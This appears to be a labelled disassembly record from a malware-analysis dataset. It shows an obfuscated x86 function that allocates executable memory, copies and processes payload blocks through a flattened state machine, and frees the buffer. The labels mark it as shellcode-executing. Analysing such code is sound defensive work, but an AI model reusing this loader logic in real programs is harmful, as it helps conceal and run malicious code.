Function at 0x4194f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 5]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], 0xf254256d
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x58ce0518
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
jg 0x419a89
jmp 0x419589
mov eax, dword [ebp - 0x40]
sub eax, 0x47fdc63e
mov dword [ebp - 0x48], eax
jg 0x419a70
jmp 0x41959f
mov eax, dword [ebp - 0x40]
sub eax, 0x3f6d8964
mov dword [ebp - 0x4c], eax
jg 0x419a57
jmp 0x4195b5
mov eax, dword [ebp - 0x40]
sub eax, 0x29d24e61
mov dword [ebp - 0x50], eax
jg 0x419a3e
jmp 0x4195cb
mov eax, dword [ebp - 0x40]
sub eax, 0x8b06dfc6
mov dword [ebp - 0x54], eax
jg 0x4195f7
jmp 0x4195e1
mov eax, dword [ebp - 0x40]
sub eax, 0x89b6df7a
mov dword [ebp - 0x58], eax
je 0x419e6e
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x94d40253
mov dword [ebp - 0x5c], eax
jg 0x419623
jmp 0x41960d
mov eax, dword [ebp - 0x40]
sub eax, 0x8b06dfc7
mov dword [ebp - 0x60], eax
je 0x419e3a
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x9a40cced
mov dword [ebp - 0x64], eax
jg 0x41964f
jmp 0x419639
mov eax, dword [ebp - 0x40]
sub eax, 0x94d40254
mov dword [ebp - 0x68], eax
je 0x419c93
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x9c8a3a48
mov dword [ebp - 0x6c], eax
jg 0x41967b
jmp 0x419665
mov eax, dword [ebp - 0x40]
sub eax, 0x9a40ccee
mov dword [ebp - 0x70], eax
je 0x419d91
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xa6d8b9b3
mov dword [ebp - 0x74], eax
jg 0x4196a7
jmp 0x419691
mov eax, dword [ebp - 0x40]
sub eax, 0x9c8a3a49
mov dword [ebp - 0x78], eax
je 0x419d3d
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xb8a29a92
mov dword [ebp - 0x7c], eax
jg 0x4196d3
jmp 0x4196bd
mov eax, dword [ebp - 0x40]
sub eax, 0xa6d8b9b4
mov dword [ebp - 0x80], eax
je 0x419b09
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xbfde9517
mov dword [ebp - 0x84], eax
jg 0x419705
jmp 0x4196ec
mov eax, dword [ebp - 0x40]
sub eax, 0xb8a29a93
mov dword [ebp - 0x88], eax
je 0x419aeb
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xc9bc1732
mov dword [ebp - 0x8c], eax
jg 0x419737
jmp 0x41971e
mov eax, dword [ebp - 0x40]
sub eax, 0xbfde9518
mov dword [ebp - 0x90], eax
je 0x419e80
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xd3a820fe
mov dword [ebp - 0x94], eax
jg 0x419769
jmp 0x419750
mov eax, dword [ebp - 0x40]
sub eax, 0xc9bc1733
mov dword [ebp - 0x98], eax
je 0x419d75
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xd60eea12
mov dword [ebp - 0x9c], eax
jg 0x41979b
jmp 0x419782
mov eax, dword [ebp - 0x40]
sub eax, 0xd3a820ff
mov dword [ebp - 0xa0], eax
je 0x419b76
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xe192ed56
mov dword [ebp - 0xa4], eax
jg 0x4197cd
jmp 0x4197b4
mov eax, dword [ebp - 0x40]
sub eax, 0xd60eea13
mov dword [ebp - 0xa8], eax
je 0x419ad8
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xe7973cf6
mov dword [ebp - 0xac], eax
jg 0x4197ff
jmp 0x4197e6
mov eax, dword [ebp - 0x40]
sub eax, 0xe192ed57
mov dword [ebp - 0xb0], eax
je 0x419dc2
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xee87ba0c
mov dword [ebp - 0xb4], eax
jg 0x419831
jmp 0x419818
mov eax, dword [ebp - 0x40]
sub eax, 0xe7973cf7
mov dword [ebp - 0xb8], eax
je 0x419dfd
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xf254256c
mov dword [ebp - 0xbc], eax
jg 0x419863
jmp 0x41984a
mov eax, dword [ebp - 0x40]
sub eax, 0xee87ba0d
mov dword [ebp - 0xc0], eax
je 0x419bff
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xffc67f37
mov dword [ebp - 0xc4], eax
jg 0x419895
jmp 0x41987c
mov eax, dword [ebp - 0x40]
sub eax, 0xf254256d
mov dword [ebp - 0xc8], eax
je 0x419aa7
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x21cc8306
mov dword [ebp - 0xcc], eax
jg 0x419a25
jmp 0x4198ae
mov eax, dword [ebp - 0x40]
sub eax, 0x20eb4ebb
mov dword [ebp - 0xd0], eax
jg 0x419a0c
jmp 0x4198c7
mov eax, dword [ebp - 0x40]
sub eax, 0x1429ccb2
mov dword [ebp - 0xd4], eax
jg 0x4199f3
jmp 0x4198e0
mov eax, dword [ebp - 0x40]
sub eax, 0xbbed609
mov dword [ebp - 0xd8], eax
jg 0x4199da
jmp 0x4198f9
mov eax, dword [ebp - 0x40]
sub eax, 0x686bf1
mov dword [ebp - 0xdc], eax
jg 0x41992b
jmp 0x419912
mov eax, dword [ebp - 0x40]
sub eax, 0xffc67f38
mov dword [ebp - 0xe0], eax
je 0x419ce5
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xc9c38a
mov dword [ebp - 0xe4], eax
jg 0x41995d
jmp 0x419944
mov eax, dword [ebp - 0x40]
sub eax, 0x686bf2
mov dword [ebp - 0xe8], eax
je 0x419d56
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x6140ffb
mov dword [ebp - 0xec], eax
jg 0x41998f
jmp 0x419976
mov eax, dword [ebp - 0x40]
sub eax, 0xc9c38b
mov dword [ebp - 0xf0], eax
je 0x419dcf
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x6140ffc
mov dword [ebp - 0xf4], eax
je 0x419d69
jmp 0x4199a8
mov eax, dword [ebp - 0x40]
sub eax, 0xa884a2e
mov dword [ebp - 0xf8], eax
je 0x419b83
jmp 0x4199c1
mov eax, dword [ebp - 0x40]
sub eax, 0xa8fb5cb
mov dword [ebp - 0xfc], eax
je 0x419cd8
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0xbbed60a
mov dword [ebp - 0x100], eax
je 0x419de3
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x1429ccb3
mov dword [ebp - 0x104], eax
je 0x419d49
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x20eb4ebc
mov dword [ebp - 0x108], eax
je 0x419d22
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x21cc8307
mov dword [ebp - 0x10c], eax
je 0x419c1a
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x29d24e62
mov dword [ebp - 0x110], eax
je 0x419c3e
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x3f6d8965
mov dword [ebp - 0x114], eax
je 0x419b55
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x47fdc63f
mov dword [ebp - 0x118], eax
je 0x419ac5
jmp 0x419aa2
mov eax, dword [ebp - 0x40]
sub eax, 0x58ce0519
mov dword [ebp - 0x11c], eax
je 0x419def
jmp 0x419aa2
jmp 0x419e8e
mov eax, 0x47fdc63f
mov ecx, 0xd60eea13
mov edx, dword [ebp - 0x14]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, dword [sym.imp.ADVAPI32.dll_AreAllAccessesGranted]
mov esi, dword [eax]
mov dword [ebp - 0x3c], 0xc9bc1733
jmp 0x419e8e
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], 0xb8a29a93
jmp 0x419e8e
mov eax, 0xd3a820ff
mov ecx, 0xa6d8b9b4
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmp edx, dword [esi + 0xd]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x28]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00406ba0
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x28]
add ecx, dword [edx + 5]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x3f6d8965
mov dword [ebp - 0x120], eax
jmp 0x419e8e
mov eax, dword [ebp - 0x34]
sub eax, 0x5b38f5c0
add eax, 1
add eax, 0x5b38f5c0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0xb8a29a93
jmp 0x419e8e
mov eax, 0xa884a2e
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, 0x20
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x124], eax
call fcn.00406ba0
mov ecx, 0xee87ba0d
mov edx, 0xffffffff
mov esi, dword [ebp - 0x2c]
movzx esi, byte [esi]
xor esi, 0xffffffff
mov edi, edx
xor edi, 1
xor edx, 0x6d4c2ec2
or esi, edi
or edx, 0x6d4c2ec2
xor esi, 0xffffffff
and esi, edx
cmp esi, 0
setne bl
and bl, 1
mov byte [ebp - 0xe], bl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x128], eax
jmp 0x419e8e
mov eax, 0x29d24e62
mov ecx, 0x21cc8307
mov dl, byte [ebp - 0xe]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x30]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00417210
mov dword [ebp - 0x3c], 0x29d24e62
jmp 0x419e8e
call fcn.0041acd0
mov ecx, 0xa8fb5cb
mov edx, 0x94d40254
mov esi, 0xffffffff
mov edi, dword [ebp - 0x2c]
movzx edi, byte [edi]
xor edi, 0xffffffff
mov ebx, esi
xor ebx, 3
xor esi, 0x7b7be30b
or edi, ebx
or esi, 0x7b7be30b
xor edi, 0xffffffff
and edi, esi
cmp edi, 0
cmovne ecx, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x12c], eax
jmp 0x419e8e
mov eax, 0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + 1]
sub eax, edx
add eax, 0
add ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417a00
mov dword [ebp - 0x3c], 0xa8fb5cb
jmp 0x419e8e
mov eax, 0xffc67f38
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004185c0
mov ecx, 0x20eb4ebc
cmp eax, 0
setl bl
and bl, 1
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x3c], ecx
jmp 0x419e8e
mov eax, 0x1429ccb3
mov ecx, 0x9c8a3a49
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov dword [ebp - 0x3c], 0xc9bc1733
jmp 0x419e8e
mov eax, 0x686bf2
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, 0x6140ffc
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov dword [ebp - 0x3c], 0x58ce0519
jmp 0x419e8e
mov eax, 0xe192ed57
mov ecx, 0x9a40ccee
cmp dword [ebp - 0x30], 0
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, dword [ebp - 0x30]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x3c], 0xe192ed57
mov dword [ebp - 0x130], eax
jmp 0x419e8e
mov eax, 0xc9c38b
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov eax, 0xbbed60a
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x3c], eax
jmp 0x419e8e
mov dword [ebp - 0x3c], 0x58ce0519
jmp 0x419e8e
mov eax, dword [ebp - 0x18]
add esp, 0x140
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0x20
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x134], eax
call fcn.00406ba0
mov dword [ebp - 0x3c], 0xa884a2e
mov dword [ebp - 0x138], eax
jmp 0x419e8e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004185c0
mov dword [ebp - 0x3c], 0xffc67f38
mov dword [ebp - 0x13c], eax
jmp 0x419e8e
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], 0x686bf2
jmp 0x419e8e
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x3c], 0xc9c38b
jmp 0x41956d